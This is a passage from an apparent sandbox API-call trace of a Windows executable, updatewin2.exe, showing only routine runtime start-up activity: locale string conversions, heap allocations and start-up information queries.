!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0053.876] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpCharType=0x18ee24 | out: lpCharType=0x18ee24) returned 1 [0053.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eb58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.877] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.877] GetLastError () returned 0x57 [0053.877] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0053.877] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0053.877] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e948, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0053.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f324, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ'@ý\x81`õ\x18", lpUsedDefaultChar=0x0) returned 256 [0053.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eb78, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0053.896] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0053.896] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x18e968, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0053.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f224, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ'@ý\x81`õ\x18", lpUsedDefaultChar=0x0) returned 256 [0053.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x54a3e8 [0053.896] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x417ca8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe")) returned 0x5f [0053.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xc8) returned 0x54c478 [0053.896] RtlInitializeSListHead (in: ListHead=0x417bc8 | out: ListHead=0x417bc8) [0053.896] GetLastError () returned 0x0 [0053.896] GetEnvironmentStringsW () returned 0x54c548* [0053.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xaca) returned 0x54d020 [0053.896] FreeEnvironmentStringsW (penv=0x54c548) returned 1 [0053.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x98) returned 0x54c548 [0053.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x3e) returned 0x54db10 [0053.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x6c) returned 0x54c5e8 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x6e) returned 0x54c660 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x78) returned 0x531180 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x62) returned 0x54c6d8 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x2e) returned 0x5352d0 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x48) returned 0x54c748 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x28) returned 0x54a470 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x1a) returned 0x54c028 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x4a) returned 0x54c798 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x72) returned 0x531200 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x30) returned 0x535308 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x2e) returned 0x535340 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x1c) returned 0x54c050 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xd2) returned 0x54c7f0 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x7c) returned 0x54c8d0 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x36) returned 0x54c958 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x3a) returned 0x54db58 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x90) returned 0x54c998 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x24) returned 0x54ca30 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x30) returned 0x535378 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x36) returned 0x54ca60 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x48) returned 0x54caa0 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x52) returned 0x54caf0 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x3c) returned 0x54dba0 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x82) returned 0x54cb50 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x2e) returned 0x5353b0 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x1e) returned 0x54c078 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x2c) returned 0x5353e8 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x54) returned 0x54cbe0 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x52) returned 0x54cc40 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x2a) returned 0x535420 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x3c) returned 0x54dbe8 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x54) returned 0x54cca0 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x24) returned 0x54cd00 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x30) returned 0x535458 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x8c) returned 0x54cd30 [0053.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d020 | out: hHeap=0x520000) returned 1 [0053.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x800) returned 0x54cdc8 [0053.898] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0053.898] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402b17) returned 0x404e49 [0053.908] GetStartupInfoW (in: lpStartupInfo=0x18f590 | out: lpStartupInfo=0x18f590*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1423) returned 0x54eaf8 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1423) returned 0x54ff28 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c118 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x54d5d0 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c140 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x535490 [0053.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d5d0 | out: hHeap=0x520000) returned 1 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c168 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x48) returned 0x54d5d0 [0053.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x535490 | out: hHeap=0x520000) returned 1 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c190 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x54d620 [0053.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d5d0 | out: hHeap=0x520000) returned 1 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x54d688 [0053.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d620 | out: hHeap=0x520000) returned 1 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c1b8 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd8) returned 0x54d720 [0053.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d688 | out: hHeap=0x520000) returned 1 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c1e0 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c208 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x138) returned 0x54d5d0 [0053.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d720 | out: hHeap=0x520000) returned 1 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c230 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c258 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c280 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c2a8 [0053.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c8) returned 0x54d710 [0053.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d5d0 | out: hHeap=0x520000) returned 1 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c2d0 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c2f8 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c320 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c348 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2a0) returned 0x551358 [0053.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d710 | out: hHeap=0x520000) returned 1 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c370 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c398 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c3c0 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c3e8 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c410 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x54c438 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551618 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551640 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3f0) returned 0x54d5d0 [0053.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551358 | out: hHeap=0x520000) returned 1 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551668 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551690 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5516b8 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5516e0 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551708 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551730 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551758 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551780 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5517a8 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5e8) returned 0x551e00 [0053.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d5d0 | out: hHeap=0x520000) returned 1 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5517d0 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5517f8 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551820 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551848 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551870 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551898 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5518c0 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5518e8 [0053.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551910 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) 